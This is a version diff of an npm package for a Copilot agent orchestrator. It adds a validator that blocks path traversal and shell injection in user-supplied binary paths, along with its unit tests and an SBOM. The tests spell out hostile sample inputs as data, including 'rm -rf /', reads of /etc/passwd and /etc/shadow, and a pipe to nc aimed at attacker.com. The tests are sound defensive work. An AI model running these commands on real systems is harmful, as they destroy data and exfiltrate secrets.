beth-copilot 1.0.10 → 1.0.11

package/bin/lib/pathValidation.js

@@ -0,0 +1,233 @@
+/**
+ * Path validation utilities for user-supplied binary paths.
+ * Prevents path traversal attacks, injection, and execution of unintended binaries.
+ */
+
+import { existsSync, statSync, accessSync, constants } from 'fs';
+import { resolve, normalize, isAbsolute, basename, dirname } from 'path';
+
+// Characters that could be used for shell injection
+// Note: backslash is allowed as Windows path separator
+const SHELL_INJECTION_CHARS = /[;&|`$(){}[\]<>!'"]/;
+
+// Path traversal sequences
+const TRAVERSAL_PATTERNS = [
+  /\.\.[/\\]/, // ../ or ..\
+  /[/\\]\.\.[/\\]/, // /../ or \..\
+  /[/\\]\.\.$/,  // ends with /.. or \..
+  /^\.\.[/\\]/, // starts with ../ or ..\
+  /^\.\.$/,     // just ".."
+];
+
+/**
+ * Validation result type
+ * @typedef {Object} ValidationResult
+ * @property {boolean} valid - Whether the path is valid
+ * @property {string} [error] - Error message if invalid
+ * @property {string} [normalizedPath] - Normalized absolute path if valid
+ */
+
+/**
+ * Check if a path contains traversal sequences
+ * @param {string} inputPath - The path to check
+ * @returns {boolean} - True if traversal sequences found
+ */
+export function containsTraversal(inputPath) {
+  if (!inputPath || typeof inputPath !== 'string') {
+    return false;
+  }
+  
+  return TRAVERSAL_PATTERNS.some(pattern => pattern.test(inputPath));
+}
+
+/**
+ * Check if a path contains shell injection characters
+ * @param {string} inputPath - The path to check
+ * @returns {boolean} - True if injection characters found
+ */
+export function containsShellInjection(inputPath) {
+  if (!inputPath || typeof inputPath !== 'string') {
+    return false;
+  }
+  
+  return SHELL_INJECTION_CHARS.test(inputPath);
+}
+
+/**
+ * Check if a file exists and is executable
+ * @param {string} filePath - Absolute path to check
+ * @returns {{exists: boolean, executable: boolean}}
+ */
+export function checkExecutable(filePath) {
+  const result = { exists: false, executable: false };
+  
+  try {
+    if (!existsSync(filePath)) {
+      return result;
+    }
+    
+    result.exists = true;
+    
+    const stats = statSync(filePath);
+    if (!stats.isFile()) {
+      return result;
+    }
+    
+    // On Windows, check file extension for executability
+    if (process.platform === 'win32') {
+      const executableExtensions = ['.exe', '.cmd', '.bat', '.com', '.ps1'];
+      const ext = filePath.toLowerCase().slice(filePath.lastIndexOf('.'));
+      result.executable = executableExtensions.includes(ext);
+    } else {
+      // On Unix, check execute permission
+      try {
+        accessSync(filePath, constants.X_OK);
+        result.executable = true;
+      } catch {
+        result.executable = false;
+      }
+    }
+  } catch {
+    // File access error
+  }
+  
+  return result;
+}
+
+/**
+ * Validate a user-supplied binary path
+ * @param {string} inputPath - The path provided by the user
+ * @param {Object} [options] - Validation options
+ * @param {boolean} [options.requireAbsolute=false] - Require absolute path
+ * @param {boolean} [options.checkExists=true] - Check if file exists
+ * @param {boolean} [options.verifyExecutable=true] - Check if file is executable
+ * @param {string[]} [options.allowedBasenames] - If provided, only allow these binary names
+ * @returns {ValidationResult}
+ */
+export function validateBinaryPath(inputPath, options = {}) {
+  const {
+    requireAbsolute = false,
+    checkExists = true,
+    verifyExecutable = true,
+    allowedBasenames = null,
+  } = options;
+
+  // Basic type and empty check
+  if (!inputPath || typeof inputPath !== 'string') {
+    return { valid: false, error: 'Path cannot be empty' };
+  }
+
+  // Trim whitespace
+  const trimmedPath = inputPath.trim();
+  if (trimmedPath.length === 0) {
+    return { valid: false, error: 'Path cannot be empty' };
+  }
+
+  // Length limit to prevent DoS
+  if (trimmedPath.length > 4096) {
+    return { valid: false, error: 'Path exceeds maximum length (4096 characters)' };
+  }
+
+  // Check for null bytes (path injection)
+  if (trimmedPath.includes('\0')) {
+    return { valid: false, error: 'Path contains invalid characters (null byte)' };
+  }
+
+  // Check for path traversal
+  if (containsTraversal(trimmedPath)) {
+    return { valid: false, error: 'Path contains directory traversal sequences (../)' };
+  }
+
+  // Check for shell injection characters
+  if (containsShellInjection(trimmedPath)) {
+    return { 
+      valid: false, 
+      error: 'Path contains potentially dangerous characters. Use an absolute path without special characters.' 
+    };
+  }
+
+  // Normalize the path
+  let normalizedPath;
+  try {
+    normalizedPath = normalize(trimmedPath);
+    
+    // After normalization, check again for traversal (could be obfuscated)
+    if (containsTraversal(normalizedPath)) {
+      return { valid: false, error: 'Path resolves to a directory traversal' };
+    }
+    
+    // Resolve to absolute path
+    normalizedPath = resolve(normalizedPath);
+  } catch (err) {
+    return { valid: false, error: `Invalid path format: ${err.message}` };
+  }
+
+  // Check if absolute path is required
+  if (requireAbsolute && !isAbsolute(trimmedPath)) {
+    return { valid: false, error: 'Path must be an absolute path' };
+  }
+
+  // Check allowed basenames (whitelist specific binaries)
+  if (allowedBasenames && allowedBasenames.length > 0) {
+    // Extract basename handling both Unix and Windows separators
+    // This is necessary because on Unix, basename() doesn't handle Windows paths
+    const pathParts = normalizedPath.split(/[\\/]/);
+    const name = pathParts[pathParts.length - 1] || '';
+    const nameWithoutExt = name.replace(/\.(exe|cmd|bat|com)$/i, '');
+    
+    const allowed = allowedBasenames.some(allowedName => {
+      const allowedLower = allowedName.toLowerCase();
+      return name.toLowerCase() === allowedLower || 
+             nameWithoutExt.toLowerCase() === allowedLower;
+    });
+    
+    if (!allowed) {
+      return { 
+        valid: false, 
+        error: `Binary '${name}' is not in the allowed list: ${allowedBasenames.join(', ')}` 
+      };
+    }
+  }
+
+  // Check if file exists
+  if (checkExists) {
+    const execCheck = checkExecutable(normalizedPath);
+    
+    if (!execCheck.exists) {
+      return { valid: false, error: `File not found: ${normalizedPath}` };
+    }
+    
+    // Check if executable
+    if (verifyExecutable && !execCheck.executable) {
+      return { valid: false, error: `File is not executable: ${normalizedPath}` };
+    }
+  }
+
+  return { valid: true, normalizedPath };
+}
+
+/**
+ * Validate a binary path specifically for the beads (bd) CLI
+ * @param {string} inputPath - The path to validate
+ * @returns {ValidationResult}
+ */
+export function validateBeadsPath(inputPath) {
+  return validateBinaryPath(inputPath, {
+    checkExists: true,
+    verifyExecutable: true,
+    allowedBasenames: ['bd', 'bd.exe', 'bd.cmd'],
+  });
+}
+
+/**
+ * Validate a binary path specifically for the backlog CLI
+ * @param {string} inputPath - The path to validate
+ * @returns {ValidationResult}
+ */
+export function validateBacklogPath(inputPath) {
+  return validateBinaryPath(inputPath, {
+    checkExists: true,
+    verifyExecutable: true,
+    allowedBasenames: ['backlog', 'backlog.exe', 'backlog.cmd'],
+  });
+}

package/bin/lib/pathValidation.test.js

@@ -0,0 +1,280 @@
+/**
+ * Unit tests for path validation utilities.
+ * Run with: node --test bin/lib/pathValidation.test.js
+ */
+
+import { describe, it, mock, beforeEach, afterEach } from 'node:test';
+import assert from 'node:assert';
+import { fileURLToPath } from 'url';
+import { dirname, join } from 'path';
+
+import {
+  containsTraversal,
+  containsShellInjection,
+  checkExecutable,
+  validateBinaryPath,
+  validateBeadsPath,
+  validateBacklogPath,
+} from './pathValidation.js';
+
+const __filename = fileURLToPath(import.meta.url);
+const __dirname = dirname(__filename);
+
+describe('containsTraversal', () => {
+  it('should detect ../ traversal', () => {
+    assert.strictEqual(containsTraversal('../file'), true);
+    assert.strictEqual(containsTraversal('path/../file'), true);
+    assert.strictEqual(containsTraversal('/path/../file'), true);
+    assert.strictEqual(containsTraversal('path/..'), true);
+  });
+
+  it('should detect ..\\ traversal (Windows)', () => {
+    assert.strictEqual(containsTraversal('..\\file'), true);
+    assert.strictEqual(containsTraversal('path\\..\\file'), true);
+    assert.strictEqual(containsTraversal('C:\\path\\..\\file'), true);
+  });
+
+  it('should detect standalone ..', () => {
+    assert.strictEqual(containsTraversal('..'), true);
+  });
+
+  it('should allow normal paths', () => {
+    assert.strictEqual(containsTraversal('/usr/local/bin/bd'), false);
+    assert.strictEqual(containsTraversal('/home/user/.local/bin/bd'), false);
+    assert.strictEqual(containsTraversal('C:\\Users\\name\\bin\\bd.exe'), false);
+  });
+
+  it('should allow paths with dots in filenames', () => {
+    assert.strictEqual(containsTraversal('/path/to/file.test.js'), false);
+    assert.strictEqual(containsTraversal('/path/.hidden/file'), false);
+  });
+
+  it('should handle edge cases', () => {
+    assert.strictEqual(containsTraversal(''), false);
+    assert.strictEqual(containsTraversal(null), false);
+    assert.strictEqual(containsTraversal(undefined), false);
+  });
+});
+
+describe('containsShellInjection', () => {
+  it('should detect command chaining characters', () => {
+    assert.strictEqual(containsShellInjection('/bin/bd; rm -rf /'), true);
+    assert.strictEqual(containsShellInjection('/bin/bd && malicious'), true);
+    assert.strictEqual(containsShellInjection('/bin/bd | cat /etc/passwd'), true);
+  });
+
+  it('should detect backticks and subshells', () => {
+    assert.strictEqual(containsShellInjection('/bin/`whoami`'), true);
+    assert.strictEqual(containsShellInjection('/bin/$(whoami)'), true);
+    assert.strictEqual(containsShellInjection('/bin/${PATH}'), true);
+  });
+
+  it('should detect quotes', () => {
+    assert.strictEqual(containsShellInjection("/bin/bd'"), true);
+    assert.strictEqual(containsShellInjection('/bin/bd"'), true);
+    // Note: backslash is intentionally allowed for Windows path compatibility
+  });
+
+  it('should detect redirections', () => {
+    assert.strictEqual(containsShellInjection('/bin/bd > /tmp/out'), true);
+    assert.strictEqual(containsShellInjection('/bin/bd < /etc/passwd'), true);
+  });
+
+  it('should allow normal paths', () => {
+    assert.strictEqual(containsShellInjection('/usr/local/bin/bd'), false);
+    assert.strictEqual(containsShellInjection('/home/user/.local/bin/bd'), false);
+    assert.strictEqual(containsShellInjection('C:\\Users\\name\\bin\\bd.exe'), false);
+    assert.strictEqual(containsShellInjection('/path/with-dashes/and_underscores'), false);
+  });
+
+  it('should handle edge cases', () => {
+    assert.strictEqual(containsShellInjection(''), false);
+    assert.strictEqual(containsShellInjection(null), false);
+    assert.strictEqual(containsShellInjection(undefined), false);
+  });
+});
+
+describe('validateBinaryPath', () => {
+  describe('basic validation', () => {
+    it('should reject empty paths', () => {
+      assert.strictEqual(validateBinaryPath('').valid, false);
+      assert.strictEqual(validateBinaryPath('   ').valid, false);
+      assert.strictEqual(validateBinaryPath(null).valid, false);
+      assert.strictEqual(validateBinaryPath(undefined).valid, false);
+    });
+
+    it('should reject paths with traversal', () => {
+      const result = validateBinaryPath('../../../etc/passwd', { checkExists: false });
+      assert.strictEqual(result.valid, false);
+      assert.ok(result.error.includes('traversal'));
+    });
+
+    it('should reject paths with shell injection', () => {
+      const result = validateBinaryPath('/bin/bd; rm -rf /', { checkExists: false });
+      assert.strictEqual(result.valid, false);
+      assert.ok(result.error.includes('dangerous'));
+    });
+
+    it('should reject paths with null bytes', () => {
+      const result = validateBinaryPath('/bin/bd\0malicious', { checkExists: false });
+      assert.strictEqual(result.valid, false);
+      assert.ok(result.error.includes('null byte'));
+    });
+
+    it('should reject excessively long paths', () => {
+      const longPath = '/bin/' + 'a'.repeat(5000);
+      const result = validateBinaryPath(longPath, { checkExists: false });
+      assert.strictEqual(result.valid, false);
+      assert.ok(result.error.includes('maximum length'));
+    });
+  });
+
+  describe('path normalization', () => {
+    it('should normalize valid paths', () => {
+      // Use a path that doesn't require existence check
+      const result = validateBinaryPath('/usr/local/bin/bd', { checkExists: false });
+      assert.strictEqual(result.valid, true);
+      assert.ok(result.normalizedPath);
+    });
+  });
+
+  describe('allowedBasenames validation', () => {
+    it('should reject paths with non-allowed basenames', () => {
+      const result = validateBinaryPath('/usr/bin/malicious', {
+        checkExists: false,
+        allowedBasenames: ['bd', 'backlog'],
+      });
+      assert.strictEqual(result.valid, false);
+      assert.ok(result.error.includes('not in the allowed list'));
+    });
+
+    it('should accept paths with allowed basenames', () => {
+      const result = validateBinaryPath('/usr/local/bin/bd', {
+        checkExists: false,
+        allowedBasenames: ['bd', 'backlog'],
+      });
+      assert.strictEqual(result.valid, true);
+    });
+
+    it('should handle Windows executable extensions', () => {
+      const result = validateBinaryPath('C:\\bin\\bd.exe', {
+        checkExists: false,
+        allowedBasenames: ['bd'],
+      });
+      assert.strictEqual(result.valid, true);
+    });
+  });
+
+  describe('existence and executable checks', () => {
+    it('should report file not found for non-existent paths', () => {
+      const result = validateBinaryPath('/this/path/definitely/does/not/exist/bd');
+      assert.strictEqual(result.valid, false);
+      assert.ok(result.error.includes('not found'));
+    });
+
+    it('should validate actual executable files', () => {
+      // Test with a file we know exists - the node binary
+      const nodePath = process.execPath;
+      const result = validateBinaryPath(nodePath, { 
+        verifyExecutable: true,
+        allowedBasenames: null // Don't restrict basename for this test
+      });
+      assert.strictEqual(result.valid, true);
+    });
+  });
+});
+
+describe('validateBeadsPath', () => {
+  it('should reject non-bd binaries', () => {
+    const result = validateBeadsPath('/usr/bin/malicious');
+    assert.strictEqual(result.valid, false);
+  });
+
+  it('should reject paths with traversal even for bd', () => {
+    const result = validateBeadsPath('../../../usr/bin/bd');
+    assert.strictEqual(result.valid, false);
+    assert.ok(result.error.includes('traversal'));
+  });
+
+  it('should accept valid bd path format (if exists check disabled)', () => {
+    // This tests the validation logic, not file existence
+    // We'd need to mock fs for a complete test
+    const result = validateBeadsPath('/nonexistent/path/bd');
+    assert.strictEqual(result.valid, false);
+    assert.ok(result.error.includes('not found'));
+  });
+});
+
+describe('validateBacklogPath', () => {
+  it('should reject non-backlog binaries', () => {
+    const result = validateBacklogPath('/usr/bin/malicious');
+    assert.strictEqual(result.valid, false);
+  });
+
+  it('should reject paths with shell injection', () => {
+    const result = validateBacklogPath('/bin/backlog && rm -rf /');
+    assert.strictEqual(result.valid, false);
+    assert.ok(result.error.includes('dangerous'));
+  });
+});
+
+describe('checkExecutable', () => {
+  it('should return exists=false for non-existent files', () => {
+    const result = checkExecutable('/this/path/does/not/exist');
+    assert.strictEqual(result.exists, false);
+    assert.strictEqual(result.executable, false);
+  });
+
+  it('should detect executable files', () => {
+    // Test with the node binary (known to be executable)
+    const result = checkExecutable(process.execPath);
+    assert.strictEqual(result.exists, true);
+    assert.strictEqual(result.executable, true);
+  });
+});
+
+// Integration-style tests for attack scenarios
+describe('attack scenario prevention', () => {
+  it('should prevent path traversal to system files', () => {
+    const attacks = [
+      '../../../etc/passwd',
+      '/home/user/../../../etc/passwd',
+      '..\\..\\..\\windows\\system32\\cmd.exe',
+      '/usr/bin/../../etc/shadow',
+    ];
+
+    for (const attack of attacks) {
+      const result = validateBinaryPath(attack, { checkExists: false });
+      assert.strictEqual(result.valid, false, `Should reject: ${attack}`);
+    }
+  });
+
+  it('should prevent command injection via path', () => {
+    const attacks = [
+      '/bin/bd; cat /etc/passwd',
+      '/bin/bd && rm -rf /',
+      '/bin/bd | nc attacker.com 4444',
+      '/bin/bd`whoami`',
+      '/bin/bd$(id)',
+      '/bin/bd > /tmp/output',
+    ];
+
+    for (const attack of attacks) {
+      const result = validateBinaryPath(attack, { checkExists: false });
+      assert.strictEqual(result.valid, false, `Should reject: ${attack}`);
+    }
+  });
+
+  it('should prevent null byte injection', () => {
+    const attacks = [
+      '/bin/bd\0.txt',
+      '/bin/\0bd',
+      'bd\0malicious',
+    ];
+
+    for (const attack of attacks) {
+      const result = validateBinaryPath(attack, { checkExists: false });
+      assert.strictEqual(result.valid, false, `Should reject path with null byte`);
+    }
+  });
+});

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "beth-copilot",
-  "version": "1.0.10",
+  "version": "1.0.11",
   "description": "Beth - A ruthless, hyper-competent AI orchestrator for GitHub Copilot multi-agent workflows",
   "keywords": [
     "github-copilot",
@@ -27,8 +27,15 @@
   },
   "files": [
     "bin/",
-    "templates/"
+    "templates/",
+    "assets/",
+    "sbom.json"
   ],
+  "scripts": {
+    "test": "node --test bin/lib/*.test.js",
+    "sbom:generate": "npx @cyclonedx/cyclonedx-npm --output-file sbom.json --output-format JSON",
+    "prepublishOnly": "npm run sbom:generate"
+  },
   "engines": {
     "node": ">=18"
   },

package/sbom.json

@@ -0,0 +1,129 @@
+{
+  "$schema": "http://cyclonedx.org/schema/bom-1.6.schema.json",
+  "bomFormat": "CycloneDX",
+  "specVersion": "1.6",
+  "version": 1,
+  "serialNumber": "urn:uuid:eb42feb4-edf5-4986-8f30-8a0b9b8418d3",
+  "metadata": {
+    "timestamp": "2026-02-01T09:13:32.721Z",
+    "tools": {
+      "components": [
+        {
+          "type": "application",
+          "name": "npm",
+          "version": "10.8.2"
+        },
+        {
+          "type": "application",
+          "name": "cyclonedx-npm",
+          "group": "@cyclonedx",
+          "version": "4.1.2",
+          "author": "Jan Kowalleck",
+          "description": "Create CycloneDX Software Bill of Materials (SBOM) from NPM projects.",
+          "licenses": [
+            {
+              "license": {
+                "id": "Apache-2.0"
+              }
+            }
+          ],
+          "externalReferences": [
+            {
+              "url": "git+https://github.com/CycloneDX/cyclonedx-node-npm.git",
+              "type": "vcs",
+              "comment": "as detected from PackageJson property \"repository.url\""
+            },
+            {
+              "url": "https://github.com/CycloneDX/cyclonedx-node-npm#readme",
+              "type": "website",
+              "comment": "as detected from PackageJson property \"homepage\""
+            },
+            {
+              "url": "https://github.com/CycloneDX/cyclonedx-node-npm/issues",
+              "type": "issue-tracker",
+              "comment": "as detected from PackageJson property \"bugs.url\""
+            }
+          ]
+        },
+        {
+          "type": "library",
+          "name": "cyclonedx-library",
+          "group": "@cyclonedx",
+          "version": "9.4.1",
+          "author": "Jan Kowalleck",
+          "description": "Core functionality of CycloneDX for JavaScript (Node.js or WebBrowser).",
+          "licenses": [
+            {
+              "license": {
+                "id": "Apache-2.0"
+              }
+            }
+          ],
+          "externalReferences": [
+            {
+              "url": "git+https://github.com/CycloneDX/cyclonedx-javascript-library.git",
+              "type": "vcs",
+              "comment": "as detected from PackageJson property \"repository.url\""
+            },
+            {
+              "url": "https://github.com/CycloneDX/cyclonedx-javascript-library#readme",
+              "type": "website",
+              "comment": "as detected from PackageJson property \"homepage\""
+            },
+            {
+              "url": "https://github.com/CycloneDX/cyclonedx-javascript-library/issues",
+              "type": "issue-tracker",
+              "comment": "as detected from PackageJson property \"bugs.url\""
+            }
+          ]
+        }
+      ]
+    },
+    "component": {
+      "type": "application",
+      "name": "beth-copilot",
+      "version": "1.0.11",
+      "bom-ref": "beth-copilot@1.0.11",
+      "author": "Steph Schofield",
+      "description": "Beth - A ruthless, hyper-competent AI orchestrator for GitHub Copilot multi-agent workflows",
+      "licenses": [
+        {
+          "license": {
+            "id": "MIT",
+            "acknowledgement": "declared"
+          }
+        }
+      ],
+      "purl": "pkg:npm/beth-copilot@1.0.11?vcs_url=git%2Bhttps%3A%2F%2Fgithub.com%2Fstephschofield%2Fbeth.git",
+      "externalReferences": [
+        {
+          "url": "git+https://github.com/stephschofield/beth.git",
+          "type": "vcs",
+          "comment": "as detected from PackageJson property \"repository.url\""
+        },
+        {
+          "url": "https://github.com/stephschofield/beth#readme",
+          "type": "website",
+          "comment": "as detected from PackageJson property \"homepage\""
+        },
+        {
+          "url": "https://github.com/stephschofield/beth/issues",
+          "type": "issue-tracker",
+          "comment": "as detected from PackageJson property \"bugs.url\""
+        }
+      ],
+      "properties": [
+        {
+          "name": "cdx:npm:package:path",
+          "value": ""
+        }
+      ]
+    }
+  },
+  "components": [],
+  "dependencies": [
+    {
+      "ref": "beth-copilot@1.0.11"
+    }
+  ]
+}